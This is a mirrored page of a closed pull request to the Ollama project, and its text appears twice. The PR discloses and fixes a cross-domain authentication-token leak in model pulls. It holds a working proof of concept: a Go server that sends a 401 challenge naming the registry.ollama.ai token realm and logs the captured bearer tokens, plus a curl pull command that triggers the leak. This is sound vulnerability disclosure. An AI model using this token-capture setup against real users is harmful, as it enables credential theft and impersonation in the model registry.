[PR #10750] [CLOSED] fix: cross-domain authentication token exposure #75645

Closed
opened 2026-05-05 08:04:10 -05:00 by GiteaMirror · 0 comments
Owner

📋 Pull Request Information

Original PR: https://github.com/ollama/ollama/pull/10750
Author: @geckosecurity
Created: 5/16/2025
Status: Closed

Base: mainHead: main


📝 Commits (1)

  • e77df99 fix: remediated auth vulnerability

📊 Changes

1 file changed (+4 additions, -0 deletions)

View changed files

📝 server/auth.go (+4 -0)

📄 Description

[EDIT: October 13th, 2025]
Original finding credits:

Description

The authentication flow contains a vulnerability in its model pulling mechanism. When a user pulls a model from an HTTPS server that responds with a 401 Unauthorized status, Ollama follows the WWW-Authenticate header's realm URL without validating if it belongs to the same domain as the original request. This allows an attacker to redirect the authentication flow to any domain, including registry.ollama.ai, and capture valid authentication tokens.

The issue exists in the authentication challenge handling logic, where Ollama does not verify that the authentication realm in the WWW-Authenticate header is from the same domain as the initial request. This enables cross-domain authentication flow redirection and token stealing.

Proof of Concept

This PoC demonstrates how an attacker can steal valid registry.ollama.ai authentication tokens:

  1. Start the Ollama server:
go run main.go serve
  1. Create token-capture server (token_capture.go):
package main

import (
    "fmt"
    "log"
    "net/http"
)

func main() {
    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        fmt.Printf("Request: %s %s\n", r.Method, r.URL.String())
        
        if r.Header.Get("Authorization") == "" {
            w.Header().Set("WWW-Authenticate", `Bearer realm="https://registry.ollama.ai/v2/token",service="ollama",scope="-"`)
            w.WriteHeader(http.StatusUnauthorized)
            w.Write([]byte("Unauthorized"))
            return
        }
        
        fmt.Printf("STOLEN TOKEN: %s\n", r.Header.Get("Authorization"))
        w.WriteHeader(http.StatusTeapot)
        w.Write([]byte("Token captured"))
    })
    
    log.Fatal(http.ListenAndServe(":8000", nil))
}
  1. Run the token capture server:
go run token_capture.go
  1. Trigger the vulnerability:
curl http://localhost:11434/api/pull -d '{
  "model": "http://127.0.0.1:8000/{model}",
}'
  1. Observe the stolen token in the server output.

Impact

This vulnerability allows attackers to:

  • Steal authentication tokens for registry.ollama.ai by tricking users into pulling models from malicious servers
  • Access private models the user has permission to access in the registry
  • Push malicious models under the victim's identity if they have write access

Version: 0.6.7
CVSS v3.1 Score: 6.9 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N


🔄 This issue represents a GitHub Pull Request. It cannot be merged through Gitea due to API limitations.

## 📋 Pull Request Information **Original PR:** https://github.com/ollama/ollama/pull/10750 **Author:** [@geckosecurity](https://github.com/geckosecurity) **Created:** 5/16/2025 **Status:** ❌ Closed **Base:** `main` ← **Head:** `main` --- ### 📝 Commits (1) - [`e77df99`](https://github.com/ollama/ollama/commit/e77df9973865f6f100f0d52f1469d49560914685) fix: remediated auth vulnerability ### 📊 Changes **1 file changed** (+4 additions, -0 deletions) <details> <summary>View changed files</summary> 📝 `server/auth.go` (+4 -0) </details> ### 📄 Description [EDIT: October 13th, 2025] Original finding credits: * Mohammed Benhelli @Fuzzinglabs * Patrick Ventuzelo @Fuzzinglabs * Date: 24/12/2024 * Link: https://huntr.com/bounties/94eea285-fd65-4e01-a035-f533575ebdc2 ### Description The authentication flow contains a vulnerability in its model pulling mechanism. When a user pulls a model from an HTTPS server that responds with a 401 Unauthorized status, Ollama follows the WWW-Authenticate header's realm URL without validating if it belongs to the same domain as the original request. This allows an attacker to redirect the authentication flow to any domain, including registry.ollama.ai, and capture valid authentication tokens. The issue exists in the authentication challenge handling logic, where Ollama does not verify that the authentication realm in the WWW-Authenticate header is from the same domain as the initial request. This enables cross-domain authentication flow redirection and token stealing. ### Proof of Concept This PoC demonstrates how an attacker can steal valid registry.ollama.ai authentication tokens: 1. Start the Ollama server: ```bash go run main.go serve ``` 2. Create token-capture server (token_capture.go): ```go package main import ( "fmt" "log" "net/http" ) func main() { http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { fmt.Printf("Request: %s %s\n", r.Method, r.URL.String()) if r.Header.Get("Authorization") == "" { w.Header().Set("WWW-Authenticate", `Bearer realm="https://registry.ollama.ai/v2/token",service="ollama",scope="-"`) w.WriteHeader(http.StatusUnauthorized) w.Write([]byte("Unauthorized")) return } fmt.Printf("STOLEN TOKEN: %s\n", r.Header.Get("Authorization")) w.WriteHeader(http.StatusTeapot) w.Write([]byte("Token captured")) }) log.Fatal(http.ListenAndServe(":8000", nil)) } ``` 3. Run the token capture server: ```bash go run token_capture.go ``` 4. Trigger the vulnerability: ```bash curl http://localhost:11434/api/pull -d '{ "model": "http://127.0.0.1:8000/{model}", }' ``` 5. Observe the stolen token in the server output. ### Impact This vulnerability allows attackers to: - Steal authentication tokens for registry.ollama.ai by tricking users into pulling models from malicious servers - Access private models the user has permission to access in the registry - Push malicious models under the victim's identity if they have write access **Version**: 0.6.7 **CVSS v3.1 Score:** 6.9 (Medium) **Vector String:** CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N --- <sub>🔄 This issue represents a GitHub Pull Request. It cannot be merged through Gitea due to API limitations.</sub>
GiteaMirror added the pull-request label 2026-05-05 08:04:10 -05:00
Sign in to join this conversation.
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: github-starred/ollama#75645